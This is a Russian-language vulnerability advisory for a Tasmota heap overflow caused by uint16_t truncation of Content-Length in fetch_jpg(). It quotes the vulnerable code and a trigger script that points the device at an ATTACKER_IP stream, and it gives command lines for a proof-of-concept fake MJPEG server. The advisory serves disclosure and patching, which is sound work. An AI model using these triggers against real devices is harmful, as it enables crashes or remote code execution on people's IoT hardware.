
CVE-2026-38427 — Integer Wraparound → Heap Buffer Overflow in Tasmota fetch_jpg() uint16_t (Tasmota <= 15.3.0.3)
CVE: CVE-2026-38427
Серьёзность: Критическая (CVSS 9.8)
Продукт: Arendst Tasmota
Затрагиваемая версия: <= 15.3.0.3
Файл: tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino
Функция: fetch_jpg() — case 2 (захват кадра MJPEG)
Автор: Saidakbarxon Maxsudxonov
Раскрытие: Ответственное — сообщено Tasmota до публикации
В функции fetch_jpg() драйвера скриптера Tasmota существует уязвимость целочисленного переполнения uint16_t. Когда устройство Tasmota захватывает кадры MJPEG с сервера под контролем атакующего, значение заголовка Content-Length считывается в переменную uint16_t через atoi(). Значения больше 65535 незаметно переполняются (например, 65537 → 1), что приводит к выделению крайне маленького буфера в куче. Устройство считывает из потока только переполненное количество байт, оставляя остаток в буфере потока, что вызывает повреждение кучи/состояния потока и приводит к сбою (DoS) или потенциальному удалённому выполнению кода.
// tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino
// Case 2: fetch next MJPEG frame
char inbuff[64];
stream.readBytesUntil('\n', inbuff, sizeof(inbuff)); // reads "Content-Length: 70000"
char *cp = strchr(inbuff, ':');
uint16_t size = 0;
if (cp) {
size = atoi(cp + 1); // atoi() returns int 70000
// IMPLICIT TRUNCATION: uint16_t = 70000 & 0xFFFF = 4464
}
uint8_t *buff = (uint8_t *)special_malloc(size); // malloc(4464) — too small!
if (buff) {
stream.readBytes(buff, size); // reads only 4464 bytes
// 65536 bytes remain in stream → corruption
}
Атакующий, который может заставить устройство Tasmota подключиться к своему HTTP-серверу (через вредоносный скрипт Tasmota или MITM), может отправлять кадры MJPEG со значениями Content-Length, превышающими 65535. Устройство:
Запуск через скрипт Tasmota:
>D
>B
fetchjp(ATTACKER_IP:PORT/stream,0,0,1)
>1
=fetchjp(2,0,0,1)
PoC запускает поддельный MJPEG HTTP-сервер, отправляющий кадры с вредоносными значениями Content-Length:
python3 CVE-2026-38427_poc.py --port 8889 --cl 65537
python3 CVE-2026-38427_poc.py --port 8889 --cl 131072
Полная реализация в CVE-2026-38427_poc.py.
| Content-Length (заголовок) | значение uint16_t | Выделено буфера | Непрочитано байт |
|---|
| 65536 | 0 | 0 (пропущено) | 65536 |
| 65537 | 1 | 1 байт | 65536 |
| 70000 | 4464 | 4464 байта | 65536 |
| 131072 | 0 | 0 (пропущено) | 131072 |